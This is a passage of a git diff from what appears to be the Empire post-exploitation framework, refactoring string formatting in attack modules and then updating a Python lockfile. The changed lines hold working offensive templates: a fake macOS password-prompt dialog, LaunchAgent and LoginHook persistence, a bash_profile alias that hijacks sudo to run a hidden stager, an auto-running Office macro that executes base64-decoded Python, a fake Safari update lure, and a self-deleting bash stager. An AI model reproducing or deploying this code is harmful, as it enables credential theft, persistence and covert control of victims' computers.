"-w 1 -enc {encoded_cradle}"' ) script = main_menu.modulesv2.finalize_module( diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py index 7b8922234..c5cbecdf5 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py +++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py @@ -50,7 +50,7 @@ def generate( if launcher == "": return handle_error_message("[!] Error in launcher generation.") else: - script_end = 'Invoke-WScriptBypassUAC -payload "%s"' % (launcher) + script_end = f'Invoke-WScriptBypassUAC -payload "{launcher}"' script = main_menu.modulesv2.finalize_module( script=script, diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py index 6ab666931..0f194d062 100644 --- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py +++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py @@ -54,8 +54,8 @@ def generate( else: out_file = params["DllPath"] - script_end += ' -Command "%s"' % (launcher) - script_end += " -DllPath %s" % (out_file) + script_end += f' -Command "{launcher}"' + script_end += f" -DllPath {out_file}" outputf = params.get("OutputFunction", "Out-String") script_end += ( diff --git a/empire/server/modules/python/collection/osx/prompt.py b/empire/server/modules/python/collection/osx/prompt.py index 9810f309b..d20757ea5 100644 --- a/empire/server/modules/python/collection/osx/prompt.py +++ b/empire/server/modules/python/collection/osx/prompt.py @@ -36,14 +36,9 @@ def generate( else: # osascript prompt for the specific application - script = """ + script = f""" import os -print(os.popen('osascript -e \\\'tell app "{}" to activate\\\' -e \\\'tell app "{}" to display dialog "{} requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "{} Alert"\\\'').read()) -""".format( - appName, - appName, - appName, - appName, - ) +print(os.popen('osascript -e \\\'tell app "{appName}" to activate\\\' -e \\\'tell app "{appName}" to display dialog "{appName} requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "{appName} Alert"\\\'').read()) +""" return script diff --git a/empire/server/modules/python/collection/osx/sniffer.py b/empire/server/modules/python/collection/osx/sniffer.py index 0762f7fb7..e8f06d4da 100644 --- a/empire/server/modules/python/collection/osx/sniffer.py +++ b/empire/server/modules/python/collection/osx/sniffer.py @@ -13,21 +13,21 @@ def generate( ) -> str: script = "\n" for item in ["ctypes", "threading", "sys", "os", "errno", "base64"]: - script += "import %s \n" % item + script += f"import {item} \n" savePath = params["SavePath"] Debug = params["Debug"] maxPackets = params["MaxPackets"] libcPath = params["LibcDylib"] pcapPath = params["PcapDylib"] if params["CaptureInterface"]: - script += "INTERFACE = '%s' \n" % params["CaptureInterface"] + script += "INTERFACE = '{}' \n".format(params["CaptureInterface"]) else: script += "INTERFACE = '' \n" - script += "DEBUG = %s \n" % Debug - script += "PCAP_FILENAME = '%s' \n" % savePath - script += "PCAP_CAPTURE_COUNT = %s \n" % maxPackets - script += "OSX_PCAP_DYLIB = '%s' \n" % pcapPath - script += "OSX_LIBC_DYLIB = '%s' \n" % libcPath + script += f"DEBUG = {Debug} \n" + script += f"PCAP_FILENAME = '{savePath}' \n" + script += f"PCAP_CAPTURE_COUNT = {maxPackets} \n" + script += f"OSX_PCAP_DYLIB = '{pcapPath}' \n" + script += f"OSX_LIBC_DYLIB = '{libcPath}' \n" script += R""" IN_MEMORY = False diff --git a/empire/server/modules/python/management/multi/spawn.py b/empire/server/modules/python/management/multi/spawn.py index 0937c4de6..8a34c936e 100644 --- a/empire/server/modules/python/management/multi/spawn.py +++ b/empire/server/modules/python/management/multi/spawn.py @@ -25,6 +25,6 @@ def generate( return handle_error_message("[!] Error in launcher command generation.") else: launcher = launcher.replace('"', '\\"') - script = 'import os; os.system("%s")' % (launcher) + script = f'import os; os.system("{launcher}")' return script diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.py b/empire/server/modules/python/persistence/osx/LaunchAgent.py index d72b90140..be51eb3b4 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgent.py +++ b/empire/server/modules/python/persistence/osx/LaunchAgent.py @@ -16,7 +16,7 @@ def generate( ) -> tuple[str | None, str | None]: daemon_name = params["DaemonName"] program_name = daemon_name.split(".")[-1] - plist_filename = "%s.plist" % daemon_name + plist_filename = f"{daemon_name}.plist" listener_name = params["Listener"] user_agent = params["UserAgent"] safe_checks = params["SafeChecks"] @@ -50,7 +50,7 @@ def generate( """ - script = """ + script = f""" import subprocess import sys import base64 @@ -61,43 +61,37 @@ def generate( group = 'wheel' if isRoot else 'staff' launchPath = '/Library/LaunchAgents/' if isRoot else '/Users/'+user+'/Library/LaunchAgents/' -daemonPath = '/Library/Application Support/{daemonName}/' if isRoot else '/Users/'+user+'/Library/Application Support/{daemonName}/' +daemonPath = '/Library/Application Support/{daemon_name}/' if isRoot else '/Users/'+user+'/Library/Application Support/{daemon_name}/' -encBytes = "{encBytes}" +encBytes = "{enc_bytes}" bytes = base64.b64decode(encBytes) plist = \"\"\"{plistSettings} -\"\"\" % ('{daemonName}', daemonPath+'{programName}') +\"\"\" % ('{daemon_name}', daemonPath+'{program_name}') if not os.path.exists(daemonPath): os.makedirs(daemonPath) -e = open(daemonPath+'{programName}','wb') +e = open(daemonPath+'{program_name}','wb') e.write(bytes) e.close() -os.chmod(daemonPath+'{programName}', 0755) +os.chmod(daemonPath+'{program_name}', 0755) -f = open('/tmp/{plistFilename}','w') +f = open('/tmp/{plist_filename}','w') f.write(plist) f.close() -os.chmod('/tmp/{plistFilename}', 0644) +os.chmod('/tmp/{plist_filename}', 0644) -process = subprocess.Popen('chown '+user+':'+group+' /tmp/{plistFilename}', stdout=subprocess.PIPE, shell=True) +process = subprocess.Popen('chown '+user+':'+group+' /tmp/{plist_filename}', stdout=subprocess.PIPE, shell=True) process.communicate() -process = subprocess.Popen('mv /tmp/{plistFilename} '+launchPath+'{plistFilename}', stdout=subprocess.PIPE, shell=True) +process = subprocess.Popen('mv /tmp/{plist_filename} '+launchPath+'{plist_filename}', stdout=subprocess.PIPE, shell=True) process.communicate() -print("\\n[+] Persistence has been installed: "+launchPath+"{plistFilename}") -print("\\n[+] Empire daemon has been written to "+daemonPath+"{programName}") +print("\\n[+] Persistence has been installed: "+launchPath+"{plist_filename}") +print("\\n[+] Empire daemon has been written to "+daemonPath+"{program_name}") -""".format( - encBytes=enc_bytes, - plistSettings=plistSettings, - daemonName=daemon_name, - programName=program_name, - plistFilename=plist_filename, - ) +""" return script diff --git a/empire/server/modules/python/persistence/osx/loginhook.py b/empire/server/modules/python/persistence/osx/loginhook.py index 39e30ce69..b0413289b 100644 --- a/empire/server/modules/python/persistence/osx/loginhook.py +++ b/empire/server/modules/python/persistence/osx/loginhook.py @@ -17,7 +17,7 @@ def generate( password = password.replace("$", r"\$") password = password.replace("!", r"\!") password = password.replace("!", r"\!") - script = """ + script = f""" import subprocess import sys try: @@ -29,7 +29,7 @@ def generate( sys.exit() try: print(" [*] Setting script to proper linux permissions") - process = subprocess.Popen('chmod +x {}', stdout=subprocess.PIPE, shell=True) + process = subprocess.Popen('chmod +x {loginhook_script_path}', stdout=subprocess.PIPE, shell=True) process.communicate() except Exception as e: print("[!] Issues setting login hook (line 81): " + str(e)) @@ -37,13 +37,13 @@ def generate( print(" [*] Creating proper LoginHook") try: - process = subprocess.Popen('echo "{}" | sudo -S defaults write com.apple.loginwindow LoginHook {}', stdout=subprocess.PIPE, shell=True) + process = subprocess.Popen('echo "{password}" | sudo -S defaults write com.apple.loginwindow LoginHook {loginhook_script_path}', stdout=subprocess.PIPE, shell=True) process.communicate() except Exception as e: print("[!] Issues setting login hook (line 81): " + str(e)) try: - process = subprocess.Popen('echo "{}" | sudo -S defaults read com.apple.loginwindow', stdout=subprocess.PIPE, shell=True) + process = subprocess.Popen('echo "{password}" | sudo -S defaults read com.apple.loginwindow', stdout=subprocess.PIPE, shell=True) print(" [*] LoginHook Output: ") result = process.communicate() result = result[0].strip() @@ -54,11 +54,6 @@ def generate( except Exception as e: print("[!] Issue with LoginHook script: " + str(e)) -""".format( - loginhook_script_path, - password, - loginhook_script_path, - password, - ) +""" return script diff --git a/empire/server/modules/python/persistence/osx/mail.py b/empire/server/modules/python/persistence/osx/mail.py index 796f0c7c5..07e7e184b 100644 --- a/empire/server/modules/python/persistence/osx/mail.py +++ b/empire/server/modules/python/persistence/osx/mail.py @@ -28,7 +28,7 @@ def generate( ) launcher = launcher.replace('"', '\\"') launcher = launcher.replace('"', '\\"') - launcher = 'do shell script "%s"' % (launcher) + launcher = f'do shell script "{launcher}"' hex = "0123456789ABCDEF" def UUID(): diff --git a/empire/server/modules/python/privesc/multi/bashdoor.py b/empire/server/modules/python/privesc/multi/bashdoor.py index a4c1816fb..8ab940a03 100644 --- a/empire/server/modules/python/privesc/multi/bashdoor.py +++ b/empire/server/modules/python/privesc/multi/bashdoor.py @@ -24,7 +24,7 @@ def generate( safeChecks=safeChecks, ) launcher = launcher.replace('"', '\\"') - script = """ + script = f""" import os from random import choice from string import ascii_uppercase @@ -33,15 +33,13 @@ def generate( bashlocation = home + "/Library/." + randomStr + ".sh" with open(home + "/.bash_profile", "a") as profile: profile.write("alias sudo='sudo sh -c '\\\\''" + bashlocation + " & exec \\"$@\\"'\\\\'' sh'") -launcher = "%s" +launcher = "{launcher}" stager = "#!/bin/bash\\n" stager += launcher with open(bashlocation, 'w') as f: f.write(stager) f.close() os.chmod(bashlocation, 0755) -""" % ( - launcher - ) +""" return script diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.py b/empire/server/modules/python/privesc/multi/sudo_spawn.py index f9c253505..c28eacb88 100644 --- a/empire/server/modules/python/privesc/multi/sudo_spawn.py +++ b/empire/server/modules/python/privesc/multi/sudo_spawn.py @@ -33,9 +33,7 @@ def generate( launcher = launcher.replace('"', '\\"') launcher = launcher.replace("echo", "") parts = launcher.split("|") - launcher = "python3 -c %s" % (parts[0]) - script = 'import subprocess; subprocess.Popen("echo \\"{}\\" | sudo -S {}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)'.format( - password, launcher - ) + launcher = f"python3 -c {parts[0]}" + script = f'import subprocess; subprocess.Popen("echo \\"{password}\\" | sudo -S {launcher}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' return script diff --git a/empire/server/modules/python/privesc/osx/piggyback.py b/empire/server/modules/python/privesc/osx/piggyback.py index df630f8ba..eb0d0368d 100644 --- a/empire/server/modules/python/privesc/osx/piggyback.py +++ b/empire/server/modules/python/privesc/osx/piggyback.py @@ -31,8 +31,8 @@ def generate( launcher = launcher.replace("'", "\\'") launcher = launcher.replace("echo", "") parts = launcher.split("|") - launcher = "sudo python -c %s" % (parts[0]) - script = """ + launcher = f"sudo python -c {parts[0]}" + script = f""" import os import time import subprocess @@ -44,12 +44,10 @@ def generate( newTime = time.ctime(os.path.getmtime(sudoDir)) if oldTime != newTime: try: - subprocess.call(['%s'], shell=True) + subprocess.call(['{launcher}'], shell=True) exitLoop = True except: pass - """ % ( - launcher - ) + """ return script diff --git a/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py index e1931f102..376b6f199 100644 --- a/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py +++ b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py @@ -236,7 +236,7 @@ def server_listen(self, host, port): return f"[!] Can't bind at {host}:{port}" self.plugin_service.plugin_socketio_message( - self.info["Name"], "[*] Listening on %s ..." % port + self.info["Name"], f"[*] Listening on {port} ..." ) server.listen(5) diff --git a/empire/server/stagers/multi/bash.py b/empire/server/stagers/multi/bash.py index a9401cd6e..25cec286d 100644 --- a/empire/server/stagers/multi/bash.py +++ b/empire/server/stagers/multi/bash.py @@ -86,7 +86,7 @@ def generate(self): else: script = "#!/bin/bash\n" - script += "%s\n" % (launcher) + script += f"{launcher}\n" script += 'rm -f "$0"\n' script += "exit\n" return script diff --git a/empire/server/stagers/multi/pyinstaller.py b/empire/server/stagers/multi/pyinstaller.py index 027d49d6f..0d2c31036 100644 --- a/empire/server/stagers/multi/pyinstaller.py +++ b/empire/server/stagers/multi/pyinstaller.py @@ -151,7 +151,7 @@ def generate(self): launcher = imports_str + "\n" + launcher with open(binary_file_str + ".py", "w") as text_file: - text_file.write("%s" % launcher) + text_file.write(f"{launcher}") output_str = subprocess.run( [ diff --git a/empire/server/stagers/multi/war.py b/empire/server/stagers/multi/war.py index 93dc326d5..5a564e268 100644 --- a/empire/server/stagers/multi/war.py +++ b/empire/server/stagers/multi/war.py @@ -177,7 +177,7 @@ def generate(self): zip_data.writestr("META-INF/MANIFEST.MF", manifest) zip_data.writestr("WEB-INF/web.xml", wxml_code) - zip_data.writestr("%s.jsp" % (app_name), jsp_code) + zip_data.writestr(f"{app_name}.jsp", jsp_code) zip_data.close() return war_file.getvalue() diff --git a/empire/server/stagers/osx/applescript.py b/empire/server/stagers/osx/applescript.py index bb1214da0..acc024649 100644 --- a/empire/server/stagers/osx/applescript.py +++ b/empire/server/stagers/osx/applescript.py @@ -79,5 +79,5 @@ def generate(self): else: launcher = launcher.replace('"', '\\"') - applescript = 'do shell script "%s"' % (launcher) + applescript = f'do shell script "{launcher}"' return applescript diff --git a/empire/server/stagers/osx/macro.py b/empire/server/stagers/osx/macro.py index 015a77f9c..82d084995 100644 --- a/empire/server/stagers/osx/macro.py +++ b/empire/server/stagers/osx/macro.py @@ -126,7 +126,7 @@ def formStr(varstr, instr): payload = formStr("cmd", match) if version == "old": - macro = """ + macro = f""" #If VBA7 Then Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long #Else @@ -148,15 +148,13 @@ def formStr(varstr, instr): #If Mac Then Dim result As Long Dim cmd As String - %s + {payload} 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &") result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &") #End If - End Function""" % ( - payload - ) + End Function""" elif version == "new": - macro = """ + macro = f""" Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) as LongPtr Sub Auto_Open() @@ -174,13 +172,11 @@ def formStr(varstr, instr): #If Mac Then Dim result As LongPtr Dim cmd As String - %s + {payload} 'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &") result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & cmd & \" \\\"\"));"" | python3 &", "r") #End If - End Function""" % ( - payload - ) + End Function""" else: raise ValueError('Invalid version provided. Accepts "new" and "old"') diff --git a/empire/server/stagers/osx/safari_launcher.py b/empire/server/stagers/osx/safari_launcher.py index ae2215902..bfaa04087 100644 --- a/empire/server/stagers/osx/safari_launcher.py +++ b/empire/server/stagers/osx/safari_launcher.py @@ -89,19 +89,17 @@ def generate(self): launcher = launcher.replace("'", "\\'") launcher = launcher.replace('"', '\\\\"') - html = """ + html = f"""

Safari requires an update. Press cmd-R to refresh. Make sure to press the play button on the script box to begin the update

- """ % ( - launcher - ) + """ return html diff --git a/empire/server/stagers/windows/cmd_exec.py b/empire/server/stagers/windows/cmd_exec.py index 5d48c298e..343ac94b1 100644 --- a/empire/server/stagers/windows/cmd_exec.py +++ b/empire/server/stagers/windows/cmd_exec.py @@ -164,7 +164,7 @@ def generate(self): return shell def generate_shellcode(self, msf_format, arch, launcher): - print("[*] Generating Shellcode %s" % arch) + print(f"[*] Generating Shellcode {arch}") if arch == "x64": msf_payload = "windows/x64/exec" diff --git a/empire/server/utils/option_util.py b/empire/server/utils/option_util.py index ab255fff8..14abc0d35 100644 --- a/empire/server/utils/option_util.py +++ b/empire/server/utils/option_util.py @@ -153,7 +153,9 @@ def _safe_cast_option( param_name, param_value, option_meta ) -> tuple[typing.Any, str | None]: option_type = type(param_value) - if option_meta.get("Type") is not None and type(option_meta.get("Type")) == type: + if option_meta.get("Type") is not None and isinstance( + option_meta.get("Type"), type + ): expected_option_type = option_meta.get("Type") else: expected_option_type = _parse_type( diff --git a/empire/test/test_logs.py b/empire/test/test_logs.py index d2717bfb4..ab30c5b2b 100644 --- a/empire/test/test_logs.py +++ b/empire/test/test_logs.py @@ -25,7 +25,7 @@ def test_simple_log_format(monkeypatch): filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) ) - assert type(stream_handler.formatter) == ColorFormatter + assert isinstance(stream_handler.formatter, ColorFormatter) assert stream_handler.formatter._fmt == SIMPLE_LOG_FORMAT @@ -53,7 +53,7 @@ def test_extended_log_format(monkeypatch): filter(lambda h: type(h) == logging.StreamHandler, logging.getLogger().handlers) ) - assert type(stream_handler.formatter) == ColorFormatter + assert isinstance(stream_handler.formatter, ColorFormatter) assert stream_handler.formatter._fmt == LOG_FORMAT diff --git a/poetry.lock b/poetry.lock index 8f95c9376..97b993bba 100644 --- a/poetry.lock +++ b/poetry.lock @@ -24,13 +24,13 @@ files = [ [[package]] name = "annotated-types" -version = "0.6.0" +version = "0.7.0" description = "Reusable constraint types to use with typing.Annotated" optional = false python-versions = ">=3.8" files = [ - {file = "annotated_types-0.6.0-py3-none-any.whl", hash = "sha256:0641064de18ba7a25dee8f96403ebc39113d0cb953a01429249d5c7564666a43"}, - {file = "annotated_types-0.6.0.tar.gz", hash = "sha256:563339e807e53ffd9c267e99fc6d9ea23eb8443c08f112651963e24e22f84a5d"}, + {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, + {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, ] [[package]] @@ -45,13 +45,13 @@ files = [ [[package]] name = "anyio" -version = "4.2.0" +version = "4.4.0" description = "High level compatibility layer for multiple asynchronous event loop implementations" optional = false python-versions = ">=3.8" files = [ - {file = "anyio-4.2.0-py3-none-any.whl", hash = "sha256:745843b39e829e108e518c489b31dc757de7d2131d53fac32bd8df268227bfee"}, - {file = "anyio-4.2.0.tar.gz", hash = "sha256:e1875bb4b4e2de1669f4bc7869b6d3f54231cdced71605e6e64c9be77e3be50f"}, + {file = "anyio-4.4.0-py3-none-any.whl", hash = "sha256:c1b2d8f46a8a812513012e1107cb0e68c17159a7a594208005a57dc776e1bdc7"}, + {file = "anyio-4.4.0.tar.gz", hash = "sha256:5aadc6a1bbb7cdb0bede386cac5e2940f5e2ff3aa20277e991cf028e0585ce94"}, ] [package.dependencies] @@ -149,44 +149,44 @@ typecheck = ["mypy"] [[package]] name = "bidict" -version = "0.23.0" +version = "0.23.1" description = "The bidirectional mapping library for Python." optional = false python-versions = ">=3.8" files = [ - {file = "bidict-0.23.0-py3-none-any.whl", hash = "sha256:f5154a0e42926b122f9b2cb06aeeb9af317f626eb864bd34c1b9cdc5eca8b040"}, - {file = "bidict-0.23.0.tar.gz", hash = "sha256:3959ca59d4d6997702d642bf1e5fd93cba299863723fc289545198f70c468578"}, + {file = "bidict-0.23.1-py3-none-any.whl", hash = "sha256:5dae8d4d79b552a71cbabc7deb25dfe8ce710b17ff41711e13010ead2abfc3e5"}, + {file = "bidict-0.23.1.tar.gz", hash = "sha256:03069d763bc387bbd20e7d49914e75fc4132a41937fa3405417e1a5a2d006d71"}, ] [[package]] name = "black" -version = "24.2.0" +version = "24.4.2" description = "The uncompromising code formatter." optional = false python-versions = ">=3.8" files = [ - {file = "black-24.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:6981eae48b3b33399c8757036c7f5d48a535b962a7c2310d19361edeef64ce29"}, - {file = "black-24.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d533d5e3259720fdbc1b37444491b024003e012c5173f7d06825a77508085430"}, - {file = "black-24.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:61a0391772490ddfb8a693c067df1ef5227257e72b0e4108482b8d41b5aee13f"}, - {file = "black-24.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:992e451b04667116680cb88f63449267c13e1ad134f30087dec8527242e9862a"}, - {file = "black-24.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:163baf4ef40e6897a2a9b83890e59141cc8c2a98f2dda5080dc15c00ee1e62cd"}, - {file = "black-24.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e37c99f89929af50ffaf912454b3e3b47fd64109659026b678c091a4cd450fb2"}, - {file = "black-24.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f9de21bafcba9683853f6c96c2d515e364aee631b178eaa5145fc1c61a3cc92"}, - {file = "black-24.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:9db528bccb9e8e20c08e716b3b09c6bdd64da0dd129b11e160bf082d4642ac23"}, - {file = "black-24.2.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:d84f29eb3ee44859052073b7636533ec995bd0f64e2fb43aeceefc70090e752b"}, - {file = "black-24.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1e08fb9a15c914b81dd734ddd7fb10513016e5ce7e6704bdd5e1251ceee51ac9"}, - {file = "black-24.2.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:810d445ae6069ce64030c78ff6127cd9cd178a9ac3361435708b907d8a04c693"}, - {file = "black-24.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:ba15742a13de85e9b8f3239c8f807723991fbfae24bad92d34a2b12e81904982"}, - {file = "black-24.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:7e53a8c630f71db01b28cd9602a1ada68c937cbf2c333e6ed041390d6968faf4"}, - {file = "black-24.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:93601c2deb321b4bad8f95df408e3fb3943d85012dddb6121336b8e24a0d1218"}, - {file = "black-24.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0057f800de6acc4407fe75bb147b0c2b5cbb7c3ed110d3e5999cd01184d53b0"}, - {file = "black-24.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:faf2ee02e6612577ba0181f4347bcbcf591eb122f7841ae5ba233d12c39dcb4d"}, - {file = "black-24.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:057c3dc602eaa6fdc451069bd027a1b2635028b575a6c3acfd63193ced20d9c8"}, - {file = "black-24.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:08654d0797e65f2423f850fc8e16a0ce50925f9337fb4a4a176a7aa4026e63f8"}, - {file = "black-24.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca610d29415ee1a30a3f30fab7a8f4144e9d34c89a235d81292a1edb2b55f540"}, - {file = "black-24.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:4dd76e9468d5536abd40ffbc7a247f83b2324f0c050556d9c371c2b9a9a95e31"}, - {file = "black-24.2.0-py3-none-any.whl", hash = "sha256:e8a6ae970537e67830776488bca52000eaa37fa63b9988e8c487458d9cd5ace6"}, - {file = "black-24.2.0.tar.gz", hash = "sha256:bce4f25c27c3435e4dace4815bcb2008b87e167e3bf4ee47ccdc5ce906eb4894"}, + {file = "black-24.4.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dd1b5a14e417189db4c7b64a6540f31730713d173f0b63e55fabd52d61d8fdce"}, + {file = "black-24.4.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8e537d281831ad0e71007dcdcbe50a71470b978c453fa41ce77186bbe0ed6021"}, + {file = "black-24.4.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eaea3008c281f1038edb473c1aa8ed8143a5535ff18f978a318f10302b254063"}, + {file = "black-24.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:7768a0dbf16a39aa5e9a3ded568bb545c8c2727396d063bbaf847df05b08cd96"}, + {file = "black-24.4.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:257d724c2c9b1660f353b36c802ccece186a30accc7742c176d29c146df6e474"}, + {file = "black-24.4.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:bdde6f877a18f24844e381d45e9947a49e97933573ac9d4345399be37621e26c"}, + {file = "black-24.4.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e151054aa00bad1f4e1f04919542885f89f5f7d086b8a59e5000e6c616896ffb"}, + {file = "black-24.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:7e122b1c4fb252fd85df3ca93578732b4749d9be076593076ef4d07a0233c3e1"}, + {file = "black-24.4.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:accf49e151c8ed2c0cdc528691838afd217c50412534e876a19270fea1e28e2d"}, + {file = "black-24.4.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:88c57dc656038f1ab9f92b3eb5335ee9b021412feaa46330d5eba4e51fe49b04"}, + {file = "black-24.4.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be8bef99eb46d5021bf053114442914baeb3649a89dc5f3a555c88737e5e98fc"}, + {file = "black-24.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:415e686e87dbbe6f4cd5ef0fbf764af7b89f9057b97c908742b6008cc554b9c0"}, + {file = "black-24.4.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bf10f7310db693bb62692609b397e8d67257c55f949abde4c67f9cc574492cc7"}, + {file = "black-24.4.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:98e123f1d5cfd42f886624d84464f7756f60ff6eab89ae845210631714f6db94"}, + {file = "black-24.4.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48a85f2cb5e6799a9ef05347b476cce6c182d6c71ee36925a6c194d074336ef8"}, + {file = "black-24.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:b1530ae42e9d6d5b670a34db49a94115a64596bc77710b1d05e9801e62ca0a7c"}, + {file = "black-24.4.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:37aae07b029fa0174d39daf02748b379399b909652a806e5708199bd93899da1"}, + {file = "black-24.4.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:da33a1a5e49c4122ccdfd56cd021ff1ebc4a1ec4e2d01594fef9b6f267a9e741"}, + {file = "black-24.4.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ef703f83fc32e131e9bcc0a5094cfe85599e7109f896fe8bc96cc402f3eb4b6e"}, + {file = "black-24.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:b9176b9832e84308818a99a561e90aa479e73c523b3f77afd07913380ae2eab7"}, + {file = "black-24.4.2-py3-none-any.whl", hash = "sha256:d36ed1124bb81b32f8614555b34cc4259c3fbc7eec17870e8ff8ded335b58d8c"}, + {file = "black-24.4.2.tar.gz", hash = "sha256:c872b53057f000085da66a19c55d68f6f8ddcac2642392ad3a355878406fbd4d"}, ] [package.dependencies] @@ -206,13 +206,13 @@ uvloop = ["uvloop (>=0.15.2)"] [[package]] name = "blinker" -version = "1.7.0" +version = "1.8.2" description = "Fast, simple object-to-object and broadcast signaling" optional = false python-versions = ">=3.8" files = [ - {file = "blinker-1.7.0-py3-none-any.whl", hash = "sha256:c3f865d4d54db7abc53758a01601cf343fe55b84c1de4e3fa910e420b438d5b9"}, - {file = "blinker-1.7.0.tar.gz", hash = "sha256:e6820ff6fa4e4d1d8e2747c2283749c3f547e4fee112b98555cdcdae32996182"}, + {file = "blinker-1.8.2-py3-none-any.whl", hash = "sha256:1779309f71bf239144b9399d06ae925637cf6634cf6bd131104184531bf67c01"}, + {file = "blinker-1.8.2.tar.gz", hash = "sha256:8f77b09d3bf7c795e969e9486f39c2c5e9c39d4ee07424be2bc594ece9642d83"}, ] [[package]] @@ -348,13 +348,13 @@ cffi = ">=1.0.0" [[package]] name = "certifi" -version = "2024.2.2" +version = "2024.6.2" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2024.2.2-py3-none-any.whl", hash = "sha256:dc383c07b76109f368f6106eee2b593b04a011ea4d55f652c6ca24a754d1cdd1"}, - {file = "certifi-2024.2.2.tar.gz", hash = "sha256:0569859f95fc761b18b45ef421b1290a0f65f147e92a1e5eb3e635f9a5e4e66f"}, + {file = "certifi-2024.6.2-py3-none-any.whl", hash = "sha256:ddc6c8ce995e6987e7faf5e3f1b02b302836a0e5d98ece18392cb1a36c72ad56"}, + {file = "certifi-2024.6.2.tar.gz", hash = "sha256:3cd43f1c6fa7dedc5899d69d3ad0398fd018ad1a17fba83ddaf78aa46c747516"}, ] [[package]] @@ -558,63 +558,63 @@ files = [ [[package]] name = "coverage" -version = "7.4.1" +version = "7.5.4" description = "Code coverage measurement for Python" optional = false python-versions = ">=3.8" files = [ - {file = "coverage-7.4.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:077d366e724f24fc02dbfe9d946534357fda71af9764ff99d73c3c596001bbd7"}, - {file = "coverage-7.4.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0193657651f5399d433c92f8ae264aff31fc1d066deee4b831549526433f3f61"}, - {file = "coverage-7.4.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = 